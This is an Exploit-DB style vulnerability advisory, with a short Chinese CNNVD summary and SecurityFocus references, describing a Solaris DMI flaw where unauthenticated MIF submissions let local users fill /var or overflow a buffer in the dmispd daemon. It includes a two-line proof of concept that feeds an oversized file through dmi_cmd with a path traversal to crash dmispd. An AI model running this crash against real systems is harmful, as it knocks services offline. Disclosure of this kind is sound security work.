https://www.exploit-db.com/exploits/19681
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-199912-071

Solarisdmi_cmd中存在漏洞，本地用户利用该漏洞通过增加一个恶意文件到/var/dmi/db数据库使得dmispd守护进程崩溃。

source: http://www.securityfocus.com/bid/878/info

DMI is the Desktop Management Interface, and is a suite of application management programs shipped with Sun's Solaris. Each application that is managed through DMI has a MIF record (which contains information about its managable components and properties) that can be inserted into the MIF database (/var/dmi/db) through the dmisp (DMI Service Providor) daemon. There is no authentication performed on who submits new MIFs, meaning anybody can do it. This creates two possible denial of service conditions. The first is consumption of disk space in /var. There are no limits (set by default) on how much space the DMI database can use. This may be used in conjunction with other vulnerabilities to prevent logging, etc. A second vulnerability is a buffer overflow condition in dmispd when MIFs are a certain size. It may be exploitable beyond being a simple denial of service (it may be possible to execute arbitrary code as root remotely). 

Buffer Overflow Crash:

echo `perl -e "print 'A' x 1000"` > /usr/home/btellier/my.mif
dmi_cmd -CI ../../../usr/home/btellier/my.mif

(dmispd segfaults)

来源:BID
名称:878
链接:http://www.securityfocus.com/bid/878
来源:OSVDB
名称:7582
链接:http://www.osvdb.org/7582